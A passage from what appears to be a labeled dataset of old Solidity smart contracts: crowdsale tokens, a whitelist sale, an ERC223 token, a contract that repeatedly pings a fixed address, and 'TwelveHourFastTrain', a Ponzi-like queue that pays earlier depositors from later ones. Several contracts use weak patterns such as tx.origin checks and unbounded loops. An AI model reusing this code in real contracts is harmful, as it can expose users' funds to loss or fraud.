uint256 public decimals = 18;
bool public locked = true;
event Migrate(address indexed _from, address indexed _to, uint256 _value);
event Locked();
event Unlocked();
modifier onlyUnlocked() {
if (locked)
revert();
_;
}
modifier onlyAuthorized() {
if (msg.sender != owner && msg.sender != crowdSaleAddress && msg.sender != admin)
revert();
_;
}
function UnitedfansToken(address _admin) public {
locked = true;
admin = _admin;
crowdSaleAddress = msg.sender;
migrationMaster = _admin;
}
function unlock() public onlyAuthorized {
locked = false;
Unlocked();
}
function lock() public onlyAuthorized {
locked = true;
Locked();
}
function transferFrom(address _from, address _to, uint256 _value) public onlyUnlocked returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public onlyUnlocked returns (bool) {
return super.transfer(_to, _value);
}
function migrate(uint256 _value) external {
if (migrationAgent == 0)
revert();
if (_value == 0)
revert();
if (_value > balances[msg.sender])
revert();
balances[msg.sender] -= _value;
totalSupply -= _value;
totalMigrated += _value;
MigrationAgent(migrationAgent).migrateFrom(msg.sender, _value);
Migrate(msg.sender, migrationAgent, _value);
}
function setMigrationAgent(address _agent) external onlyUnlocked() {
require(migrationAgent == 0);
require(msg.sender == migrationMaster);
migrationAgent = _agent;
}
function resetCrowdSaleAddress(address _newCrowdSaleAddress) external onlyAuthorized() {
crowdSaleAddress = _newCrowdSaleAddress;
}
function setMigrationMaster(address _master) external {
require(msg.sender == migrationMaster);
require(_master != 0);
migrationMaster = _master;
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public constant returns (bool) {
return now > endTime;
}
}
contract UnitedfansTokenCrowdsale is Ownable, Crowdsale {
using SafeMath for uint256;
bool public LockupTokensWithdrawn = false;
uint256 public constant toDec = 10**18;
uint256 public tokensLeft = 30303030*toDec;
uint256 public constant cap = 30303030*toDec;
uint256 public constant startRate = 12000;
enum State { BeforeSale, NormalSale, ShouldFinalize, SaleOver }
State public state = State.BeforeSale;
uint256 public startTimeNumber = 1500000000;
uint256 public endTimeNumber = 1530316800;
event Finalized();
function UnitedfansTokenCrowdsale(address _admin)
Crowdsale(
now + 10,
endTimeNumber,
12000,
_admin
)
public
{}
function createTokenContract() internal returns (MintableToken) {
return new UnitedfansToken(msg.sender);
}
function forwardFunds() internal {
forwardFundsAmount(msg.value);
}
function forwardFundsAmount(uint256 amount) internal {
wallet.transfer(amount);
}
function refundAmount(uint256 amount) internal {
msg.sender.transfer(amount);
}
function buyTokensUpdateState() internal {
if(state == State.BeforeSale && now >= startTimeNumber) { state = State.NormalSale; }
require(state != State.ShouldFinalize && state != State.SaleOver && msg.value >= toDec.div(10));
if(msg.value < toDec.mul(25)) { rate = 6000; }
else { rate = 12000; }
if(msg.value.mul(rate) >= tokensLeft) { state = State.ShouldFinalize; }
}
function buyTokens(address beneficiary) public payable {
buyTokensUpdateState();
var numTokens = msg.value.mul(rate);
if(state == State.ShouldFinalize) {
lastTokens(beneficiary);
numTokens = tokensLeft;
}
else {
tokensLeft = tokensLeft.sub(numTokens);
super.buyTokens(beneficiary);
}
}
function buyCoinsUpdateState(uint256 amount) internal {
if(state == State.BeforeSale && now >= startTimeNumber) { state = State.NormalSale; }
require(state != State.ShouldFinalize && state != State.SaleOver);
if(amount < 25) { rate = 6000; }
else { rate = 12000; }
if(amount.mul(rate) >= tokensLeft) { state = State.ShouldFinalize; }
}
function buyCoins(address beneficiary, uint256 amount) public onlyOwner {
buyCoinsUpdateState(amount);
var numTokens = amount.mul(rate);
if(state == State.ShouldFinalize) {
lastTokens(beneficiary);
numTokens = tokensLeft;
}
else {
tokensLeft = tokensLeft.sub(numTokens);
super.buyTokens(beneficiary);
}
}
function lastTokens(address beneficiary) internal {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokensForFullBuy = weiAmount.mul(rate);
uint256 tokensToRefundFor = tokensForFullBuy.sub(tokensLeft);
uint256 tokensRemaining = tokensForFullBuy.sub(tokensToRefundFor);
uint256 weiAmountToRefund = tokensToRefundFor.div(rate);
uint256 weiRemaining = weiAmount.sub(weiAmountToRefund);
weiRaised = weiRaised.add(weiRemaining);
token.mint(beneficiary, tokensRemaining);
TokenPurchase(msg.sender, beneficiary, weiRemaining, tokensRemaining);
forwardFundsAmount(weiRemaining);
refundAmount(weiAmountToRefund);
}
function finalizeUpdateState() internal {
if(now > endTime) { state = State.ShouldFinalize; }
if(tokensLeft == 0) { state = State.ShouldFinalize; }
}
function finalize() public {
finalizeUpdateState();
require (state == State.ShouldFinalize);
finalization();
Finalized();
}
function finalization() internal {
endTime = block.timestamp;
state = State.SaleOver;
}
} | 1 | 3,662 |
pragma solidity ^0.4.25;
interface TwelveHourTokenInterface {
function fallback() external payable;
function buy(address _referredBy) external payable returns (uint256);
function exit() external;
}
contract TwelveHourFastTrain {
address public owner;
address public twelveHourTokenAddress;
TwelveHourTokenInterface public TwelveHourToken;
uint256 constant private THT_TOKEN_OWNERS = 10;
address constant private PROMO = 0x31778364A4000F785c59D42Bb80e7E6E60b8457b;
uint constant public PROMO_PERCENT = 1;
uint constant public MULTIPLIER = 120;
uint constant public MAX_DEPOSIT = 1 ether;
uint constant public MIN_DEPOSIT = 0.05 ether;
uint256 constant public VERIFY_REFERRAL_PRICE = 0.01 ether;
uint256 constant public REFERRAL = 3;
uint constant public LAST_DEPOSIT_PERCENT = 10;
LastDeposit public last;
mapping(address => bool) public referrals;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
struct LastDeposit {
address depositor;
uint expect;
uint depositTime;
}
Deposit[] public queue;
uint public currentReceiverIndex = 0;
modifier onlyOwner()
{
require(msg.sender == owner);
_;
}
modifier disableContract()
{
require(tx.origin == msg.sender);
_;
}
function setTwelveHourToken(address _addr) public onlyOwner
{
twelveHourTokenAddress = _addr;
TwelveHourToken = TwelveHourTokenInterface(twelveHourTokenAddress);
}
constructor() public
{
owner = msg.sender;
}
function () public payable {
if (msg.sender != twelveHourTokenAddress) invest(0x0);
}
function invest(address _referral) public payable disableContract
{
if(msg.value == 0 && msg.sender == last.depositor) {
require(gasleft() >= 220000, "We require more gas!");
require(last.depositTime + 12 hours < now, "Last depositor should wait 12 hours to claim reward");
uint128 money = uint128((address(this).balance));
if(money >= last.expect){
last.depositor.transfer(last.expect);
} else {
last.depositor.transfer(money);
}
delete last;
}
else if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value >= MIN_DEPOSIT, "Deposit must be >= 0.01 ETH and <= 1 ETH");
uint256 valueDeposit = msg.value;
if(valueDeposit > MAX_DEPOSIT) {
msg.sender.transfer(valueDeposit - MAX_DEPOSIT);
valueDeposit = MAX_DEPOSIT;
}
uint256 _profitTHT = valueDeposit * THT_TOKEN_OWNERS / 100;
sendProfitTHT(_profitTHT);
queue.push(Deposit(msg.sender, uint128(valueDeposit), uint128(valueDeposit*MULTIPLIER/100)));
last.depositor = msg.sender;
last.expect += valueDeposit*LAST_DEPOSIT_PERCENT/100;
last.depositTime = now;
uint promo = valueDeposit*PROMO_PERCENT/100;
PROMO.transfer(promo);
uint devFee = valueDeposit*2/100;
owner.transfer(devFee);
uint256 _referralBonus = valueDeposit * REFERRAL/100;
if (_referral != 0x0 && _referral != msg.sender && referrals[_referral] == true) address(_referral).transfer(_referralBonus);
else owner.transfer(_referralBonus);
pay();
}
}
function pay() private {
uint128 money = uint128((address(this).balance)-last.expect);
for(uint i=0; i<queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect){
dep.depositor.transfer(dep.expect);
money -= dep.expect;
delete queue[idx];
}else{
dep.depositor.transfer(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
}
function sendProfitTHT(uint256 profitTHT) private
{
buyTHT(calEthSendToTHT(profitTHT));
exitTHT();
}
function exitTHT() private
{
TwelveHourToken.exit();
}
function calEthSendToTHT(uint256 _eth) private pure returns(uint256 _value)
{
_value = _eth * 100 / 64;
}
function buyTHT(uint256 _value) private
{
TwelveHourToken.fallback.value(_value)();
}
function totalEthereumBalance() public view returns (uint256) {
return address(this).balance;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function verifyReferrals() public payable disableContract
{
require(msg.value >= VERIFY_REFERRAL_PRICE);
referrals[msg.sender] = true;
owner.transfer(msg.value);
}
function getDepositByAddress(address depositor) public view returns (uint256 index, uint256 deposit, uint256 expect) {
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
index = i;
deposit = dep.deposit;
expect = dep.expect;
break;
}
}
}
function getData()public view returns(uint256 _lastDepositBonus, uint256 _endTime, uint256 _currentlyServing, uint256 _queueLength, address _lastAddress) {
_lastDepositBonus = address(this).balance;
_endTime = last.depositTime + 12 hours;
_currentlyServing = currentReceiverIndex;
_queueLength = queue.length;
_lastAddress = last.depositor;
}
} | 0 | 97 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Transfer(msg.sender, _to, _amount);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "Word of mouth pro";
string constant TOKEN_SYMBOL = "wmp";
bool constant PAUSED = true;
address constant TARGET_USER = 0x63DA42f4151F88c7EAAeBb67783D855b4ac8AdD7;
uint constant START_TIME = 1531087260;
bool constant CONTINUE_MINTING = false;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 1,333 |
pragma solidity ^0.5.0;
contract PingLine {
address payable private constant targetAddress = 0xeeAD74C98c573b43A1AF116Be7C4DEbb0a4fd4A8;
address payable private owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function ping(uint256 times) public onlyOwner {
for (uint256 i = 0; i < times; i++) {
(bool ignore,) = targetAddress.call("");
ignore;
}
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
function kill() public onlyOwner {
selfdestruct(owner);
}
function () external payable {
}
} | 1 | 3,767 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PublicSale is Pausable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
uint256 public maxgas;
uint256 public maxcap;
uint256 public exceed;
uint256 public minimum;
uint256 public rate;
bool public ignited = false;
uint256 public weiRaised = 0;
address public wallet;
Whitelist public List;
ERC20 public Token;
constructor (
uint256 _maxcap,
uint256 _exceed,
uint256 _minimum,
uint256 _rate,
uint256 _maxgas,
address _wallet,
address _whitelist,
address _token
) public {
require(_wallet != address(0));
require(_whitelist != address(0));
require(_token != address(0));
maxcap = _maxcap;
exceed = _exceed;
minimum = _minimum;
rate = _rate;
maxgas = _maxgas;
wallet = _wallet;
Token = ERC20(_token);
List = Whitelist(_whitelist);
}
function () external payable {
collect();
}
event Change(address addr, string name);
event ChangeMaxGas(uint256 gas);
function setMaxGas(uint256 gas)
external
onlyOwner
{
require(gas > 0);
maxgas = gas;
emit ChangeMaxGas(gas);
}
function setWhitelist(address whitelist)
external
onlyOwner
{
require(whitelist != address(0));
List = Whitelist(whitelist);
emit Change(whitelist, "whitelist");
}
function setWallet(address newWallet)
external
onlyOwner
{
require(newWallet != address(0));
wallet = newWallet;
emit Change(newWallet, "wallet");
}
event Ignite();
event Extinguish();
function ignite()
external
onlyOwner
{
ignited = true;
emit Ignite();
}
function extinguish()
external
onlyOwner
{
ignited = false;
emit Extinguish();
}
event Purchase(address indexed buyer, uint256 purchased, uint256 refund, uint256 tokens);
mapping (address => uint256) public buyers;
function collect()
public
payable
whenNotPaused
{
address buyer = msg.sender;
uint256 amount = msg.value;
require(ignited);
require(List.whitelist(buyer));
require(buyer != address(0));
require(buyers[buyer].add(amount) >= minimum);
require(buyers[buyer] < exceed);
require(weiRaised < maxcap);
require(tx.gasprice <= maxgas);
uint256 purchase;
uint256 refund;
(purchase, refund) = getPurchaseAmount(buyer, amount);
weiRaised = weiRaised.add(purchase);
if(weiRaised >= maxcap) ignited = false;
buyers[buyer] = buyers[buyer].add(purchase);
buyer.transfer(refund);
Token.safeTransfer(buyer, purchase.mul(rate));
emit Purchase(buyer, purchase, refund, purchase.mul(rate));
}
function getPurchaseAmount(address _buyer, uint256 _amount)
private
view
returns (uint256, uint256)
{
uint256 d1 = maxcap.sub(weiRaised);
uint256 d2 = exceed.sub(buyers[_buyer]);
uint256 d = (d1 > d2) ? d2 : d1;
return (_amount > d) ? (d, _amount.sub(d)) : (_amount, 0);
}
bool public finalized = false;
function finalize()
external
onlyOwner
whenNotPaused
{
require(!finalized);
withdrawEther();
withdrawToken();
finalized = true;
}
event WithdrawToken(address indexed from, uint256 amount);
event WithdrawEther(address indexed from, uint256 amount);
function withdrawToken()
public
onlyOwner
whenNotPaused
{
require(!ignited);
Token.safeTransfer(wallet, Token.balanceOf(address(this)));
emit WithdrawToken(wallet, Token.balanceOf(address(this)));
}
function withdrawEther()
public
onlyOwner
whenNotPaused
{
require(!ignited);
wallet.transfer(address(this).balance);
emit WithdrawEther(wallet, address(this).balance);
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address addr, string roleName);
event RoleRemoved(address addr, string roleName);
function checkRole(address addr, string roleName)
view
public
{
roles[roleName].check(addr);
}
function hasRole(address addr, string roleName)
view
public
returns (bool)
{
return roles[roleName].has(addr);
}
function addRole(address addr, string roleName)
internal
{
roles[roleName].add(addr);
emit RoleAdded(addr, roleName);
}
function removeRole(address addr, string roleName)
internal
{
roles[roleName].remove(addr);
emit RoleRemoved(addr, roleName);
}
modifier onlyRole(string roleName)
{
checkRole(msg.sender, roleName);
_;
}
}
contract Whitelist is Ownable, RBAC {
event WhitelistedAddressAdded(address addr);
event WhitelistedAddressRemoved(address addr);
string public constant ROLE_WHITELISTED = "whitelist";
modifier onlyWhitelisted() {
checkRole(msg.sender, ROLE_WHITELISTED);
_;
}
function addAddressToWhitelist(address addr)
onlyOwner
public
{
addRole(addr, ROLE_WHITELISTED);
emit WhitelistedAddressAdded(addr);
}
function whitelist(address addr)
public
view
returns (bool)
{
return hasRole(addr, ROLE_WHITELISTED);
}
function addAddressesToWhitelist(address[] addrs)
onlyOwner
public
{
for (uint256 i = 0; i < addrs.length; i++) {
addAddressToWhitelist(addrs[i]);
}
}
function removeAddressFromWhitelist(address addr)
onlyOwner
public
{
removeRole(addr, ROLE_WHITELISTED);
emit WhitelistedAddressRemoved(addr);
}
function removeAddressesFromWhitelist(address[] addrs)
onlyOwner
public
{
for (uint256 i = 0; i < addrs.length; i++) {
removeAddressFromWhitelist(addrs[i]);
}
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address addr)
internal
{
role.bearer[addr] = true;
}
function remove(Role storage role, address addr)
internal
{
role.bearer[addr] = false;
}
function check(Role storage role, address addr)
view
internal
{
require(has(role, addr));
}
function has(Role storage role, address addr)
view
internal
returns (bool)
{
return role.bearer[addr];
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
} | 1 | 2,791 |
pragma solidity ^0.4.24;
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract AbstractToken is Token, SafeMath {
function AbstractToken () {
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
mapping (address => uint256) accounts;
mapping (address => mapping (address => uint256)) private allowances;
}
contract LFSTYLToken is AbstractToken {
uint256 constant MAX_TOKEN_COUNT = 10000000 * (10**18);
address private owner;
mapping (address => bool) private frozenAccount;
uint256 tokenCount = 0;
bool frozen = false;
function LFSTYLToken () {
owner = msg.sender;
}
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "LifeStyleToken";
string constant public symbol = "LFSTYL";
uint8 constant public decimals = 18;
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
function approve (address _spender, uint256 _value)
returns (bool success) {
